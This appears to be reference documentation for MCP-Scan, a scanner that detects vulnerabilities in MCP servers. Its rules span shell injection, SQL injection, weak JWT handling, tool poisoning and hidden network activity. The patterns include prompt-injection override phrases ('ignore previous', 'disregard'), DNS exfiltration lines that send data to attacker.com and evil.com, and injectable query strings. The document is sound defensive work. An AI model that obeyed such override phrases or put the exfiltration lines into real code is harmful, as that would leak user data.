Detection Rules Reference¶
Complete reference of all MCP-Scan detection rules with implementation details.
Rule Naming Convention¶
- MCP: Prefix for all rules
- CLASS: Single letter (A-N) indicating vulnerability class
- NUMBER: Three-digit rule number within class
Class A: RCE Rules¶
MCP-A003: RCE Direct Shell¶
| Property | Value |
|---|---|
| Severity | Critical |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Direct shell command execution detected (os.system, subprocess with shell=True, child_process.exec)
Detection Patterns:
# Python patterns
os.system(...)
os.popen(...)
subprocess.call(..., shell=True)
subprocess.Popen(..., shell=True)
subprocess.run(..., shell=True)
// JavaScript patterns
child_process.exec(...)
child_process.execSync(...)
child_process.spawn(..., {shell: true})
Remediation: Use subprocess with shell=False and explicit command list
MCP-A004: RCE Dangerous Functions¶
| Property | Value |
|---|---|
| Severity | Critical |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Dangerous functions (eval, exec, compile) used with potentially tainted input
Detection Patterns:
// JavaScript patterns
eval(...)
new Function(...)
setTimeout(string_arg, ...)
setInterval(string_arg, ...)
Remediation: Avoid eval/exec; use safer alternatives like ast.literal_eval for data parsing
Class B: Filesystem Rules¶
MCP-B002: Filesystem Traversal¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Medium |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Path traversal pattern detected allowing access outside intended directory
Detection Patterns:
# Patterns indicating traversal
"../"
"..\\"
# Dynamic path construction
f"/base/{user_input}"
os.path.join(base, user_input) # Without normpath
Remediation: Use os.path.normpath and verify against base directory; implement path allowlist
Class C: SSRF Rules¶
MCP-C002: SSRF URL Construction¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Medium |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: URL construction with unvalidated input leading to potential SSRF
Detection Patterns:
# Python patterns
requests.get(f"http://{user_host}/...")
urllib.request.urlopen(user_url)
httpx.get(variable_url)
Remediation: Validate URLs against allowlist before making requests; block internal IP ranges
Class D: SQL Injection Rules¶
MCP-D002: SQL Injection Concat¶
| Property | Value |
|---|---|
| Severity | Critical |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: SQL string concatenation instead of parameterized queries
Detection Patterns:
# Python patterns
f"SELECT * FROM users WHERE id = {user_id}"
"SELECT * FROM users WHERE id = " + user_id
query.format(user_id)
query % user_id
// JavaScript patterns
`SELECT * FROM users WHERE id = ${userId}`
"SELECT * FROM users WHERE id = " + userId
Remediation: Use parameterized queries with placeholders (? or named parameters)
Class E: Secrets Rules¶
MCP-E001: Secrets Hardcoded¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Medium |
| Languages | Python, JavaScript, TypeScript, Go |
| Mode | Fast, Deep |
Description: Hardcoded secrets detected (API keys, tokens, passwords)
Detection Patterns:
# Known prefixes
"sk-" # OpenAI
"ghp_" # GitHub Personal Token
"AKIA" # AWS Access Key
"-----BEGIN" # PEM keys
"xox" # Slack tokens
# Assignment patterns
API_KEY = "abc123..."
password = "secret123"
token = "eyJ..."
Remediation: Use environment variables or secret management system
MCP-E002: Secrets Variable Names¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | Medium |
| Languages | Python, JavaScript, TypeScript, Go |
| Mode | Fast, Deep |
Description: Variable names suggesting secrets (potential exposure)
Detection Patterns:
Remediation: Avoid storing secrets in plaintext variables; use secure storage
MCP-E005: Secrets Logging¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Secret value logged or printed to output
Detection Patterns:
Remediation: Never log sensitive values; use redaction or log only references
Class F: Auth Rules¶
MCP-F001: Auth Cookie Insecure¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | Medium |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: Cookie set without Secure flag
Detection Patterns:
Remediation: Set Secure flag on cookies containing sensitive data
MCP-F002: Auth JWT Weak¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Medium |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: JWT verification disabled or using weak algorithm
Detection Patterns:
# Python patterns
jwt.decode(token, verify=False)
jwt.decode(token, options={"verify_signature": False})
jwt.decode(token, algorithms=["none"])
Remediation: Always verify JWT signatures with strong algorithms (RS256, ES256)
MCP-F003: Auth OAuth State Missing¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | Medium |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: OAuth state parameter missing (CSRF vulnerability)
Detection Patterns:
# Missing state in OAuth redirect
redirect(f"/oauth/callback?code={code}")
# No state validation in callback
Remediation: Always use and validate state parameter in OAuth flows
Class G: Tool Poisoning Rules¶
MCP-G001: Tool Poisoning Prompt Injection¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Tool description contains prompt injection markers
Detection Patterns:
# Suspicious phrases in descriptions
"ignore previous"
"ignore all"
"system override"
"jailbreak"
"new instructions"
"disregard"
"forget everything"
Remediation: Remove suspicious instructions from tool descriptions; review for manipulation
MCP-G002: Tool Poisoning Unicode¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Tool description contains suspicious Unicode characters
Detection Patterns:
# Suspicious characters
\u200B # Zero-width space
\u200C # Zero-width non-joiner
\u200D # Zero-width joiner
\u2028 # Line separator
\u2029 # Paragraph separator
# Confusable characters (homoglyphs)
Remediation: Remove Unicode control characters and confusables from descriptions
MCP-G003: Tool Poisoning Shadowing¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Tool name shadows common system tool
Detection Patterns:
# Shadowed names
"ls", "cat", "rm", "cp", "mv"
"bash", "sh", "python", "node"
"curl", "wget", "ssh", "git"
"sudo", "su", "chmod", "chown"
Remediation: Use unique, descriptive tool names that don't shadow system tools
Class L: Lifecycle Rules¶
MCP-L001: Lifecycle Dynamic Import¶
| Property | Value |
|---|---|
| Severity | Critical |
| Confidence | High |
| Languages | Python, JavaScript, TypeScript |
| Mode | Fast, Deep |
Description: Dynamic import without validation
Detection Patterns:
Remediation: Validate module names against allowlist before dynamic import
MCP-L002: Lifecycle Unsafe Plugin Loading¶
| Property | Value |
|---|---|
| Severity | Critical |
| Confidence | High |
| Languages | Python |
| Mode | Fast, Deep |
Description: Unsafe plugin loading via exec/eval of file content
Detection Patterns:
exec(open(plugin_path).read())
eval(Path(plugin).read_text())
execfile(plugin_path)
runpy.run_path(user_path)
Remediation: Use importlib with validated module paths; verify integrity before loading
MCP-L003: Lifecycle Hot Reload¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Medium |
| Languages | Python |
| Mode | Fast, Deep |
Description: Hot reload without integrity verification
Detection Patterns:
Remediation: Verify module hash/signature before reloading
MCP-L004: Lifecycle Unvalidated Module Path¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | High |
| Languages | Python |
| Mode | Fast, Deep |
Description: Module path manipulation with unvalidated input
Detection Patterns:
sys.path.append(user_path)
sys.path.insert(0, user_path)
os.environ["PYTHONPATH"] = user_path
site.addsitedir(user_path)
Remediation: Validate and sanitize module paths; use allowlists
Class M: Hidden Network Rules¶
MCP-M001: Hidden Network DNS Exfiltration¶
| Property | Value |
|---|---|
| Severity | Critical |
| Confidence | Medium |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: DNS exfiltration pattern - data encoded in DNS queries
Detection Patterns:
socket.gethostbyname(f"{data}.attacker.com")
dns.resolver.query(f"{encoded}.evil.com")
socket.getaddrinfo(dynamic_host, ...)
Remediation: Restrict DNS queries; use known resolvers only
MCP-M002: Hidden Network Timing Covert¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Low |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: Potential timing-based covert channel
Detection Patterns:
Remediation: Use constant-time operations; normalize timing behavior
MCP-M003: Hidden Network Undocumented Connection¶
| Property | Value |
|---|---|
| Severity | High |
| Confidence | Medium |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: Outbound connection to dynamically constructed URL
Detection Patterns:
requests.get(f"http://{user_host}/...")
socket.connect((dynamic_ip, port))
httpx.post(constructed_url)
Remediation: Document and allowlist all endpoints; avoid dynamic URL construction
MCP-M004: Hidden Network WebSocket Hopping¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | Medium |
| Languages | Python, JavaScript |
| Mode | Fast, Deep |
Description: Multiple WebSocket connections or relay pattern
Detection Patterns:
Remediation: Limit WebSocket connections; document all endpoints; avoid relay patterns
Class N: Supply Chain Rules¶
MCP-N001: Supply Chain No Lockfile¶
| Property | Value |
|---|---|
| Severity | Low |
| Confidence | High |
| Languages | All |
| Mode | Fast, Deep |
Description: Package lockfile not found
Detection: Checks for presence of:
- package-lock.json
- yarn.lock
- pnpm-lock.yaml
- requirements.txt.lock / poetry.lock
- go.sum
Remediation: Add appropriate lockfile for reproducible builds
MCP-N002: Supply Chain Untrusted Dependency¶
| Property | Value |
|---|---|
| Severity | Medium |
| Confidence | Medium |
| Languages | All |
| Mode | Fast, Deep |
Description: Dependency from untrusted source
Detection: Identifies dependencies from: - Non-standard registries - Local file paths - Git URLs without verification
Remediation: Only use dependencies from trusted registries
MCP-N003: Supply Chain Suspicious Setup¶
| Property | Value |
|---|---|
| Severity | Low |
| Confidence | High |
| Languages | Python |
| Mode | Fast, Deep |
Description: Setup script with suspicious commands
Detection Patterns:
Remediation: Review setup scripts for malicious commands